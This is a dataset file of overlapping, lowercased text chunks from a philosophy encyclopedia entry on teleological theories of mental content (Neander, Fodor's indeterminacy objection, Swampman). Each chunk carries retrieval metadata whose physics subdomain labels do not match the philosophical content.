concepts of roughly the grain of the lexemes of a language are composed out of simpler concepts. they further argue that the first two options are not viable. however, some psychologists maintain that we must somehow \u201c bootstrap \u201d up from simple to sophisticated concepts ( see e. g., carey ( 2009 ) ). and some philosophers are anyway unconvinced by fodor and lepore ' s arguments. ( readers who would like to read more on concepts and conceptions might start with the introduction to and readings in margolis and laurence ( 1999 ) and the entries in this encyclopedia on concepts and on the analytic - synthetic distinction. ) to round out this survey of views, we return to informational theories, to look at some more recent work that is broadly in the tradition of stampe and dretske. these theories take seriously the idea that mental representations have informational functions. first, a response is offered to an argument that is intended to block all informational versions of teleosemantics. this argument is", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.6506118773811368, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 33, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:18.855019"} {"text": "of stampe and dretske. these theories take seriously the idea that mental representations have informational functions. first, a response is offered to an argument that is intended to block all informational versions of teleosemantics. this argument is that, because functions are selected effects, any appeal to representational functions must be an appeal to the effects of representations and not their causes ( millikan ( 1989b, 85 ), papineau ( 1998, 3 ) ). one response is to accept this argument ' s conclusion but to maintains that an additional informational requirement can nonetheless be added to an appeal to functions ; teleological theories of mental content can appeal to other things besides functions ( shea, 2007 ). an alternative response rejects the argument. neander ( 2012 ) claims that sensory - perceptual systems have what she calls \u201c response functions, \u201d where to respond to something is to be caused by it to do something else. for example, a visual system might be caused by a red instantiation to change into a red state, and it might have been selected ( in part ) for being disposed to change into a red state in response to red and have the function to do so. on neander ' s view, these state changes represent the causes to which the system is supposed to respond by producing the representation in question. they are, so to speak, the normal causes of the producer of the representation, rather than the normal conditions for the performance of the proper function of the representation ' s consumer. on this view, red has the content red if the visual system that produces it has the function to produce it in response to red, or more specifically in response to red being instanced in the receptive field of the perceptual processing pathways responsible for the red ' s production. this is the basic idea though further complications are added. one is intended to solve the problem of distal content as follows : a sensory - perceptual representation, r, in a sensory - perceptual system s, has the descriptive content c and not prox - c if : - s was selected for producing rs in response to cs and, - if s was selected for producing rs in response to both cs and prox - cs, it was selected for producing rs in response to prox - cs because this was a means to its producing rs in response to cs and not vice - versa. the second requirement is intended to determine appropriately distal content and is to be applied only after the first requirement is applied", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.5988179825489717, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 34, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:18.857247"} {"text": "producing rs in response to prox - cs because this was a means to its producing rs in response to cs and not vice - versa. the second requirement is intended to determine appropriately distal content and is to be applied only after the first requirement is applied. the first requirement on its own does not determine suitably distal content because there is a causal chain leading from c to r and, if the system had been selected for responding to cs by producing rs, it must also have been selected for responding to the proximal items in the causal chain ( such as the light reflected from cs toward the retina of the eye, in the case of visual perception ). these more proximal items in the causal chain carry information about c to the system and through the system to the r. there is, however, an asymmetry, to which the second requirement appeals. the system was selected for its disposition to respond to the proximal items because by that means it responded to the more distal items, but the system was not selected for responding to the more distal item because by that means it responded to the more proximal items. ( it does not respond to the more proximal items by means of its responding to the more distal items ; that is not how the means - end analysis pans out ). on this causal theory, a sensory - perceptual system need not have produced rs only in the presence of cs during selection of the system. there is no need to specify channel conditions or conditions in which representation is reliable. this is not a type - 1 teleological theory of content. the idea that representations are reliably caused by or correlated with their contents in some conditions does not figure in the proposal. the first requirement ensures different content ascriptions to those generated by benefit - based teleological theories. for example, consider again the kimu ( see section 3. 2 ). as stipulated by pietrosky, it is the presence of red and not the absence of snorf that causes the relevant mechanism in a kimu to produce a b - state. mechanisms of the type were not selected for a disposition to be caused by an absence of snorf to produce b - states. they had no such disposition, so they could not have been selected for it. the relevant mechanisms in the kimu were selected for a disposition to be caused by red to produce a b - state, as well as for further causing certain movements ( hill climbing of a morning ) thereby. they were selected for this", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.6282144672615848, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 35, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:18.858412"} {"text": "selected for it. the relevant mechanisms in the kimu were selected for a disposition to be caused by red to produce a b - state, as well as for further causing certain movements ( hill climbing of a morning ) thereby. they were selected for this because red correlated well enough with snorflessness in the kimu ' s habitat. however, on this proposal, that further fact becomes a background evolutionary fact that is not content constitutive. the candidate content fewer snorf this way fails to pass the first requirement. consider too the notorious case of the frog. plausibly, the relevant visual pathways in the frog ' s brain were selected for their disposition to be caused by a certain configuration of visible features ( roughly, something ' s being small, dark and moving ) to produce the sensory - perceptual representation in question, as well as for their disposition to initiate orienting and so on thereby. they were plausibly selected for this preferential response to the configuration of visible features because things with these features were often enough nutritious for the frog. the visual pathways in the frog were not selected for a disposition to respond to the nutritional value of a stimulus, however. for the normal frog ' s visual system has no causal sensitivity to the nutritional value of the stimulus and cannot have been selected for a causal sensitivity it did not have. so, on this proposal, the visual content of the representation is something small, dark, moving ( or something along these lines ) rather than frog food. according to neander ( 2006 ) the configuration of visible features is the right style of visual content to ascribe for the purpose of mainstream scientific explanations of an anuran ' s visual capacities. nor does this proposal seem to generate overly specific contents of the kind mentioned earlier in relation to benefit - based theories. on this informational theory, the frog does not represent the stimulus as not carrying an infectious disease, even if only those small, dark and moving things that were not carrying an infectious disease contributed to frog fitness when the frog was fed. sensory - perceptual systems can only have been selected for causal dispositions which past systems of the type possessed. since past systems had no disposition to respond preferentially to the absence of an infectious disease in visual stimuli that were small, dark and moving, the fact that contributions to fitness were made only on those occasions when an infectious disease was absent is, again, a background evolutionary fact that is not content - constitutive on this proposal. one possible concern", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.5843654085531653, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 36, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:18.859362"} {"text": "that were small, dark and moving, the fact that contributions to fitness were made only on those occasions when an infectious disease was absent is, again, a background evolutionary fact that is not content - constitutive on this proposal. one possible concern is whether sufficient room for misrepresentation has been made. some early discussions of teleological theories of content assumed that the content of the frog ' s representation must be frog food or fly or else misrepresentation would be impossible. the frog would not be in error when it snapped at something small, dark and moving that was not frog food, or not a fly. however, misrepresentation is possible on this proposal. a representation that is supposed to be produced in response to something that is small, dark and moving and is instead produced in response to something large and looming would count as misrepresenting and a neurologically damaged frog ( e. g., one with a damaged thalamus ) will indeed attempt to catch all sorts of inappropriate things ( e. g., an experimenter ' s hand or even the frog ' s own limbs ). this informational theory also entails that a kimu ' s b - state will misrepresent if it is tokened in response to anything that is not red. more importantly, perhaps, it seems to entail that human reds will misrepresent if tokened at something not - red, as could happen in red - green color blindness, in color contrast illusions or in unusual viewing conditions. as millikan ( 2012 ) and others have pointed out, there are representations that cannot be caused by their contents, such as tomorrow. no tomorrow has ever caused a thought about tomorrow. however, tomorrow is not a sensory - perceptual representation and so this is not an objection to this proposal per se. as with other modest theories, however, the challenge is explaining how to link this modest theory for some mental contents to a more comprehensive theory that accounts for all of the contents of all of our concepts ( see section section 3. 4 ). the preceding survey of teleological theories of content does not mention all of the extant teleological theories but it illustrates some of the commonalities and differences among them. now we turn to some objections that have been raised against the general idea of teleosemantics. this section looks at the objections that have been most influential. some have already been touched on in previous sections. there are several potential indeterminacy problems. aside from", "subdomain_id": "subdomain_quantum_mechanics", "similarity_score": 0.612748406485217, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 37, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:18.860301"} {"text": "objections that have been raised against the general idea of teleosemantics. this section looks at the objections that have been most influential. some have already been touched on in previous sections. there are several potential indeterminacy problems. aside from the problem of distal content, which has already been discussed above in relation to the different theories that treat it in different ways, there are two other indeterminacy problems. one concerns the fact that natural selection is extensional ( fodor, 1990b ) and the other concerns the fact that natural selection selects traits for complex causal roles ( neander, 1995 ). both problems can perhaps be attributed to dretske ( 1986 ), though dretske did not distinguish them from the problem of distal content, the problem he seems primarily to have been interested in solving. fodor once devised a teleological theory of mental content ( published years later, as fodor 1990a ). however, he quickly repudiated the idea and has since been one of the most vigorous critics of the general idea. his main objection was initially that teleological theories leave content indeterminate because functions are indeterminate. functional indeterminacy, according to fodor ( 1990b ), stems from the fact that natural selection is extensional in the following sense : if it is adaptive for an organism, o, to do something, m, in the presence of environmental feature, f, and f is reliably co - extensive with another feature, g, then it is equally adaptive for o to do m in the presence of g. fodor argues that teleological theories therefore cannot distinguish between candidate contents that are co - extensional in the environment in which a creature evolved. fodor ' s example is the frog that snaps at anything that is suitably small, dark and moving and thereby feeds itself. according to fodor, if it was adaptive for the frog to snap at flies then it was equally adaptive for it to snap at small, dark, moving things on the simplifying assumption that flies and small, dark, moving things were reliably co - extensive in the frog ' s natural habitat. according to fodor, we can equally well say that the function of the device is to detect flies and that its function is to detect small, dark, moving things. so, if we try to determine the content of the representation by reference to the function of the detection mechanism, the content remains indeterminate. we can choose", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.5767732939420047, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 38, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:18.861196"} {"text": "is to detect flies and that its function is to detect small, dark, moving things. so, if we try to determine the content of the representation by reference to the function of the detection mechanism, the content remains indeterminate. we can choose to describe the function one way or another but if the content depends on how we choose to describe the function it is not a naturalized content. note that the candidate contents fly and frog food and small, dark moving thing each license different assessments concerning misrepresentation. if the frog is representing the stimulus as a fly, for instance, it misrepresents something that is small, dark and moving that is not a fly, using the relevant representation. if it represents the stimulus as small, dark and moving, it does not. the standard response to this objection starts by pointing out that the function of a trait is what that type of trait was selected for and that the notion of selection for is a causal notion ( sterelny 1990, millikan 1991 ). a trait is selected for its possession of a certain property only if that property causally contributed to selection of traits of the type ( see sober 1984 ). the heart was selected for circulating blood but not for making a thumping noise even though the two co - occured. it was selected for pumping rather than thumping given that the pumping but not the thumping causally contributed to the inclusive fitness of ancestral creatures and thus causally contributed to the selection of hearts. functions can therefore distinguish between two properties that reliably co - vary as long as one but not caused the trait to be selected. this point has mostly been well - taken. however, appeal to selection for does not suffice to disambiguate content ( griffiths & goode 1995, neander 1995 ). in the case of the frog ' s detection device, its responding to small, dark, moving things and its helping the frog to catch and swallow something nutritious both played a causal role in selection of the relevant representation producing or consuming systems. it was by detecting small, dark moving things that the frog got fed. so neither the detecting of something small, dark and moving, nor the eating of something nutritious was a mere side - effect or mere piggy back trait. we return to this issue in a moment. fodor ( 1996 ) anyway continues to object that there is a remainder of a problem along these lines because content, he claims, is more fine - grained than selection histories can account for. he maintains that tel", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.5943499625933086, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 39, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:18.863839"} {"text": "this issue in a moment. fodor ( 1996 ) anyway continues to object that there is a remainder of a problem along these lines because content, he claims, is more fine - grained than selection histories can account for. he maintains that teleological theories cannot discriminate contents finely enough when there are properties that are logically or nomologically co - extensive. being triangular ( being a closed plane figure with three straight sides ) and being trilateral ( being a closed plane figure with three inner angles ) are logically co - extensive properties. being a renate ( a creature with a kidney ) and being a cordate ( a creature with a heart ) are ( fodor assumes ) nomologically co - extensive. according to fodor, we cannot distinguish between selection for adaptive responses in the presence of one versus the other of two such properties. we can represent each distinctly but, according to fodor, selection histories are not sufficiently fine - grained to distinguish such contents. consider the two options : either the causal powers of two co - extensional properties f and g are distinct or they are not distinct. suppose first that they are not distinct. on some plausible and medium - grained theories of property individuation, properties are individuated by their causal powers, so if there is no difference in the causal powers of f and g, they are the same property on such a theory. on this way of individuating properties, a representation that refers to the one must refer to the other too and so there is no problem here for a theory of referential content. on this way of thinking, if there is no distinction between the causal powers of triangularity and trilaterality, any difference in the mental representations triangular and trilateral must be a difference of a different sort. it might be a difference in representational vehicle, or in other words, the two might be different predicates denoting the same property. they might, consistent with this, differ in their cognitive roles. alternatively, modest theories can maintain that these two representations are semantically complex, in which case there might be a difference ( even a referential difference ) in the constituent concepts out of which triangular and trilateral are composed ( e. g., one mentions angles and one does not ). suppose, on the other hand, that f and g do have distinct causal powers. most would agree that this is in fact the case if x is the property of being a creature with a kidney and", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.5960197939049946, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 40, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:18.864878"} {"text": ", one mentions angles and one does not ). suppose, on the other hand, that f and g do have distinct causal powers. most would agree that this is in fact the case if x is the property of being a creature with a kidney and y is the property of being a creature with a heart. in that case, this version of the objection does not get off the ground. if the causal powers of the properties differ, they can play different roles in selection histories. consider, for example, the proposal that the contents of sensory - perceptual representations are ( so to speak ) their normal causes. a system can have a disposition to be caused by fs to do m, without having a disposition to be caused by gs to do m, if f and g have distinct causal powers even ( if they are co - extensive ). the system can be selected for the one disposition that it has but it cannot be selected for the disposition that it does not have. fodor ' s objection has evolved into a general objection to any adaptational explanation and to the very notion of selection for. it would take too much space to follow the trail further here. ( see fodor and piatelli - palmarini 2010 and see esp. block and kitcher 2010 and sober 2011 ( other internet resources ) for effective critical discussion ). we turn now to the second functional indeterminacy problem. it stems from the fact that organic systems are selected for complex causal roles, as indicated earlier. for example, a gene in an antelope might have been selected because it ( i ) altered the shape of hemoglobin, ( ii ) which increased oxygen uptake, ( iii ) which allowed the antelope to move to higher ground, ( iv ) which gave them access to richer pasture in summer, ( v ) and so improved their nutritional status, their immunity to disease, their vigor in avoiding predation, their attraction to mates and ( vi ) their chances of survival and reproduction ( neander, 1995 ). to determine the function of a trait, such as the altered shape of the hemoglobin, the etiological theory of functions tells us to ask, \u201c what did past instances do that was adaptive and that caused traits of that type to be selected? \u201d. in this case, the answer is ( ii ) through ( vi ). the altered shape of the hemoglobin did all of this, and all of this was adaptive, and all of this contributed to the selection of", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.5879141443125483, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 41, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:18.865837"} {"text": "be selected? \u201d. in this case, the answer is ( ii ) through ( vi ). the altered shape of the hemoglobin did all of this, and all of this was adaptive, and all of this contributed to the selection of the trait ( i. e., it was selected for all of this ). so all of this would seem to be the trait ' s function. its function is the complex causal role for which it was selected. the problem for content can be seen when we consider mechanisms that produce or consume representations. for instance, the frog ' s detection device was selected because it ( a ) responded to small, dark, moving things and ( b ) that helped the frog catch these things, and ( c ) that provided the frog with nutrients and ( d ) that contributed to the frog ' s chances of survival and reproduction in various ways. thus ancestral detection devices contributed to the selection of that type of device by way of a complex causal route in which the visible configuration of the stimulus and the nutritional properties of the stimulus both play a role. note that this does not depend on these features of the environment being co - extensional. even if not all small, dark and moving things were nutritious and not all nutritious things were small, dark and moving in the frog ' s natural habitat, this problem of complex causal roles would still remain. the problem is that the systems responsible for the production and the consumption of representations were selected for complex causal roles in which a number of environmental features were involved. agar ( 1993 ) supports the idea that the frog ' s representation represents small, dark, moving food, a content intended to incorporate all of the properties causally responsible for the selection. price ( 1998, 2001 ) claims that, contrary to what has just been said, there is a unique, correct function ascription for each trait and she elaborates a number of principles to isolate the unique, correct function ascription. enc ( 2002 ) endorses price ' s claim that function ascriptions must be determinate if any teleological theory of content is to succeed but raises problems for her attempt to show that function ascriptions are suitably determinate. however, teleological theories of content do not merely gesture toward functions and leave it at that. consider again the causal theory discussed in the preceding section. the content of the frog ' s sensory - perceptual representation is not indeterminate between the configuration of visible features and something nutritious on that", "subdomain_id": "subdomain_quantum_mechanics", "similarity_score": 0.6021151822875194, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 42, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:18.866779"} {"text": "functions and leave it at that. consider again the causal theory discussed in the preceding section. the content of the frog ' s sensory - perceptual representation is not indeterminate between the configuration of visible features and something nutritious on that theory, since the frog ' s visual system was not selected for producing the relevant sensory - perceptual representation in response to the nutritional value of the stimulus. a frog ' s visual system is not causally sensitive to the presence or absence of nutrients and could not have been selected for a causal sensitivity it did not have. the general point here is that teleological theories of content appeal to functions in certain ways and one must examine the particular theory to see if the theory isolates a sufficiently determinate content. in responding to the indeterminacy problem, millikan ( 1991 ) might be thought to rely on the fact that, on her theory, it is the proper function of the consumer and not that of the producer of the representation that determines its content. for instance, in discussing dretske ' s magnetesome example she says that, \u201c [ t ] he mechanisms that use the magnetesome ' s offerings don ' t care at all whether the magnet points to magnetic north, geomagnetic north or, say, to the north star. the only one of the conditions dretske mentioned that is necessary for the user ' s proper functioning is that the magnet point in the direction of lesser oxygen \u201d ( millikan ( 1991, 163 ) original emphasis ). however, it seems ( to this author ) that millikan ' s emphasis here does not put the emphasis in the right place for her theory. recall that one consumer of the frog ' s perceptual representation is the motor control system which controls the frog ' s orienting toward the stimulus. we can describe its function as controlling the frog ' s orienting toward frog food, but we could also describe it as controlling the frog ' s orienting toward small, dark, moving things. a mere appeal to consumers would seem to shift the problem without solving it. however, it does not follow that millikan ' s theory leaves content indeterminate. it is millikan ' s appeal to normal conditions that does more work in disambiguating the content for her. finally, some proponents of teleological theories do not think that content is determinate in the cases used to illustrate the alleged problem. dennett ( 1995 ) maintains that such content indeterminacy", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.5978456094525051, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 43, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:18.867756"} {"text": "disambiguating the content for her. finally, some proponents of teleological theories do not think that content is determinate in the cases used to illustrate the alleged problem. dennett ( 1995 ) maintains that such content indeterminacy is unproblematic. papineau ( 1997 ) maintains that content is indeterminate in the case of a creatures that lacks a belief - desire psychological structure. whether a creature lacks a belief - desire structure will in part depend on how we construe this requirement. it is not straightforward whether frogs lack a belief - desire psychological structure given that they have both informational and motivational states. nonetheless, papineau is probably right that the informational and motivational states are not so distinct as ours and he might also be right that content indeterminacy at this level is unproblematic. we will, however, need to resolve related content indeterminacy problems for human mental states. another objection that has been influential is the swampman objection. swampman - style examples have been around for some time. boorse ( 1976 ) imagines a population of rabbits accidentally coalescing into existence as a counter - example to wright ' s etiological theory of functions. boorse ' s claim was that we could ascribe functions to the rabbits ' parts even if the rabbits lacked any selection - history. swampman in particular was raised by davidson ( 1987 ) as a potential objection to his own historical ( but not teleological ) theory of content. when swampman comes into existence he is a synchronic ( at a time, but not extended over time ) physical replica of davidson at a certain point in time ( t ). swampman ' s history differs radically from davidson ' s because he comes into existence as a result of a purely accidental collision of elementary particles. crucially, he does not partake in our evolutionary history or have any other evolutionary history or any developmental history of his own. nor is he created by god or copied from davidson by a machine. the resemblance between davidson and swampman is nothing but a stupendous coincidence. swampman ' s appearance of design is deceptive because he in no way derives from any design process, natural or intentional. swampman ' s component parts have no functions according to an etiological theory of function and so his \u201c brain \u201d states have no contents according to a teleological theory of mental content. many people find these results highly counter - intuitive, especially the result that swampman", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.6038921767101453, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 44, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:18.868738"} {"text": "parts have no functions according to an etiological theory of function and so his \u201c brain \u201d states have no contents according to a teleological theory of mental content. many people find these results highly counter - intuitive, especially the result that swampman lacks all intentional states. assuming physicalism, we could substitute swampman for davidson and no one, including his most intimate friends and family, would detect a difference. swampman would make noises that his friends and family would interpret as witty, interesting and meaningful but, according to teleological theories ( and davidson ' s own theory of content ) swampman has no ideas about philosophy, no perceptions of his surroundings and no beliefs or desires about anything at all. there are two broad strategies in responding to this objection. one is to try to loosen the grip of the intuition that swampman has intentional states and the other is to argue that any intuitions that remain do not show that teleological theories are wrong. in either case, it is important to isolate the relevant intuition because, by all accounts, swampman would have much that davidson had at t. all of the chemical activity in davidson ' s brain when he understood words, for example, would occur in swampman ' s brain - analog and certain descriptions of this activity will apply to both equally : e. g., physical, chemical and formal descriptions of it. further, it is trivial that swampman has narrow content if \u201c narrow content \u201d is defined as whatever most closely approximates content that nonetheless supervenes on just the narrow physical states of an individual at a time and \u201c from the skin in. \u201d by definition, whatever narrow content davidson ' s mental states had at t, swampman ' s inner states had too, since swampman is at t physically indistinguishable \u201c from the skin in \u201d from davidson at t. what teleological theories entail is that swampman, no matter what narrow content he has, lacks regular normative content. the intuition that conflicts with teleological theories, therefore, is that swampman ' s inner states, which are narrowly identical to davidson ' s, are true, false, accurate or inaccurate in the usual sense. it is clear that, if swampman ' s inner states do have truth - evaluable contents, they cannot always have the same truth values as davidson ' s. everyone will probably agree that, at t, swampman cannot remember his past life since at most he could only have pseudo - memories of davidson ' s. everyone will also agree", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.5725048164204031, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 45, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:18.869740"} {"text": "contents, they cannot always have the same truth values as davidson ' s. everyone will probably agree that, at t, swampman cannot remember his past life since at most he could only have pseudo - memories of davidson ' s. everyone will also agree that swampman cannot correctly think that he is returning home to his wife and sitting in his house, since the house and the wife are not his. further, it should be kept in mind that many think that putnam ( 1975 ) has shown that the contents of natural kind concepts do not supervene on just what is \u201c in the head. \u201d if putnam - style twin cases can be constructed for other mental representations and their contents as well ( see burge 1979, 1986 ) then swampman ' s lack of history might anyway be an issue even before considering the further complication of a teleological theory. it thus requires careful analysis with respect to controversial issues to determine just what intuitions about swampman would tell against the externalism of teleological theories in particular. those who try to dislodge any remaining intuitions against teleological theories argue that an appearance of design can be misleading. ( recall that \u201c design \u201d here includes the mechanical design - work of natural selection. ) consider, for example, boorse ' s swamprabbits. it might be intuitive to attribute functions to their eye - analogs. but in nature nothing so intricately organized as if for the performance of a function fails to be the result of a design process. it is argued that habits of thought, which usually take us from an appearance of design to a function ascription, lead to false ascriptions in purely hypothetical unrealistic cases ( neander 1991 ). dretske ( 1996 ) argues the case with another imaginary example. twin - tercel, a random replica of his old tercel, comes about as the result of a freakish storm in a junk yard. it is molecule - for - molecule identical to his old tercel, except that its \u201c gas - gauge \u201d does not move in relation to the amount of gas in its \u201c tank \u201d. we might be tempted to say that the thing is broken, but dretske says that there is no basis for saying that it does not work because to say that it does not work implies that it was designed to do something it cannot do and it was not designed to do anything. if we should reform our intuitions in the one case, perhaps we should also reform them in the case of swampman ' s", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.6125545973909667, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 46, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:18.870718"} {"text": "it does not work implies that it was designed to do something it cannot do and it was not designed to do anything. if we should reform our intuitions in the one case, perhaps we should also reform them in the case of swampman ' s intentionality, he says. we might grant dretske his claim about twin - tercel and yet resist the move from functions to intentionality. the problem for theories of content, as opposed to theories of function, is exacerbated by the relation between intentionality and consciousness. many philosophers find it plausible that an individual ' s phenomenal consciousness at a time supervenes on just the inner physical properties of that individual at that time. if this narrow supervenience thesis is true, then swampman will have phenomenal consciousness when he comes into existence, assuming davidson did at t. however, it is hard to see how we can attribute phenomenal consciousness to swampman without also attributing some intentional states to him. suppose, for example, that swampman has a red - sensation. then presumably it will seem to him that he is seeing something red. but it seeming to him that he is seeing something red is presumably an intentional state. here we connect with another important issue that lies outside of the scope of this entry. however, a couple of points can be made. first, some proponents of teleological theories of content are not troubled by this line of argument because they reject the view that consciousness supervenes on narrow states and hold theories of phenomenal consciousness that deny consciousness to swampman. according to some, phenomenal consciousness supervenes on ( non - narrow ) content, so if swampman lacks content he must also lack phenomenal consciousness on this view ( see esp. dretske 1995 ). if, though, any proponents of teleosemantics accept the narrow supervenience thesis for phenomenal consciousness, they cannot deny that swampman would have phenomenal consciousness. in that case, the objection remains in force. then there appear to be just two options. one is to maintain that swampman can have a red sensation without it seeming to him that he sees something red. the other is to maintain that, although it seems to swampman that he sees something red, this seeming is not truth - evaluable in the usual sense. this last option fits with the traditional idea that seemings have a special epistemic status ; it fits with the idea that we cannot be mistaken about how things seem to us and that, in", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.5920923681395042, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 47, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:18.871669"} {"text": "not truth - evaluable in the usual sense. this last option fits with the traditional idea that seemings have a special epistemic status ; it fits with the idea that we cannot be mistaken about how things seem to us and that, in that context, misrepresentation is not possible. it does not, however, fit with the idea that a person is, in principle, always fallible with respect even to how things seem. the second broad strategy is to argue that swampman intuitions cannnot show that teleological theories are incorrect because they are irrelevant. they are, it can be argued, not to the point if a teleological theory is offered as a real - nature theory ( millikan ( 1996 ), neander ( 1996 ) ). the analogy with an a posteriori analysis of the nature of water is thought to be helpful here. recall that xyz is an imaginary liquid that is superficially indistinguishable from water ( h2o ), although it has a different molecular constitution ( dubbed \u201c xyz \u201d ). we can, it is argued, agree that \u201c water \u201d and water can refer to h2o exclusively, even if all of the members of the relevant community would classify xyz as water were they to find some, given their ignorance of water ' s chemical composition. following kripke and putnam, many have been persuaded that \u201c water \u201d and water might have referred to h2o exclusively, even before it was known that water is h2o, because there was deference to an unknown nature that explained the superficial properties by means of which we usually recognise instances of the liquid. on this view, it was ( in 1700 ) an epistemological possibility that water was not h2o, but it was not a metaphysical possibility, given that water is in fact h2o. along similar lines, it can be argued that it is only an epistemological and not a genuine metaphysical possibility that swampman might have intentionality. note that this last claim is not the claim that it is merely an epistemological possibility that swampman might exist. rather, the crucial claim is that, even if he did exist, it would remain a mere epistemological possibility that he would have genuine intentionality. this parallels the claim regarding water and xyz. even if xyz were to exist on twin - earth and twin - earth were in our universe, it would not be water. superficial appearances would", "subdomain_id": "subdomain_quantum_entanglement", "similarity_score": 0.5954025888926173, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 48, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:18.872646"} {"text": "possibility that he would have genuine intentionality. this parallels the claim regarding water and xyz. even if xyz were to exist on twin - earth and twin - earth were in our universe, it would not be water. superficial appearances would be on the side of swampman ' s having intentionality, just as they would be on the side of xyz ' s being water, but it may turn out that swampman ' s \u201c intentionality \u201d is not intentionality, just as it would turn out that xyz is not water ( it is just twin - water ). intuitions about swampman, it is claimed, cannot decide the issue of what the correct analysis of intentionality is. rather, the decision about swampman ' s intentionality should be driven by the theory of content that best accounts for the real kind. that in turn should be driven by other considerations, such as which theory delivers correct content ascriptions for us and other existing creatures. of course, in the case of intentionality, unlike the case of water, the hidden nature or essence cannot be an inner structure, if a teleological theory is correct. on such a theory, intentionality is alleged to be an historical kind, so the previously hidden nature is alleged to be a matter of history. as proponents of teleological theories point out, there is an apparent need for other historical kinds in biology ( e. g., offspring, homologs and species ). ( braddon - mitchell and jackson ( 1997 ) have argued that this \u201c real nature \u201d response is not available to proponents of teleological theories of content. see papineau 2001 for a response. ) the methodological individualism debate is also relevant here, since it questions whether science should have any historical kinds. if those who favor methodological invidualism are correct, teleological theories of content do not provide us with a good scientific way to individuate psychological states ( fodor 1991 ). one argument for methodological individualism involves the claim that science should individuate kinds on the basis of causal powers. in brief, the idea is that, since science is in the business of causal explanations and causal powers are what are relevant for causal explanations, science should classify items on the basis of similarities and differences in causal powers. since there are no differences in causal powers between davidson ' s kidney or beliefs at t and swampman ' s kidney - analog and belief - analogs when he first pops into existence, davidson", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.5757012401575039, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 49, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:18.873579"} {"text": "items on the basis of similarities and differences in causal powers. since there are no differences in causal powers between davidson ' s kidney or beliefs at t and swampman ' s kidney - analog and belief - analogs when he first pops into existence, davidson ' s kidney and swampman ' s kidney - analog should belong to all of the same scientific kind and davidson ' s beliefs and swampman ' s belief - analogs should belong to all of the same scientific kinds. ( for discussion of this issue, see heil & mele eds. 1993. ) one problem with methodological individualism is that it is radically revisionary, for biology at least. moreover, if we classify kidneys on the basis of actual causal powers, we include swampman ' s kidney - analog at the cost of excluding many real kidneys, such as the kidneys of people on dialysis. while the arguments given in favor of methodological individualism may seem plausible, they are not usually accompanied by any attempt to understand the role that historical classifications play in biology or elsewhere. that being the case, we have reason to worry that the understanding of scientific classification that supports methodological individualism is too simple. further, it must be kept in mind that the proponents of teleological theories claim that a historical theory of content is needed to capture psycho - semantic norms. perhaps this is wrong. but if it is right, and if cognitive science needs such a normative notion, then methodological individualism must be wrong. thus the debate must turn on the more specific issues of whether normative content involves history and whether cognitive science needs normative content. the weightiest objection to teleological theories of content and the hardest to assess is that it is unclear how such theories could explain our most sophisticated concepts and cognitive capacities. no naturalistic theory of content at this time yet makes perfectly clear how we think about democracy, virtue, quarks or perhaps even tomorrow, and so this is not a problem that is peculiar to teleo - functional theories. however, it is sometimes argued that teleological theories of content have a special problem in this respect ( e. g., peacocke ( 1992 ) ). the thought is that they may have some hope of working for contents that concern things that impact on fitness \u2014 food, shelter, mates, etc. \u2014 but that they are, in principle, unable to deal with contents that cannot have impacted on fitness, or not in any suitably selective way. some contents cannot have impacted on fitness because they belong to the", 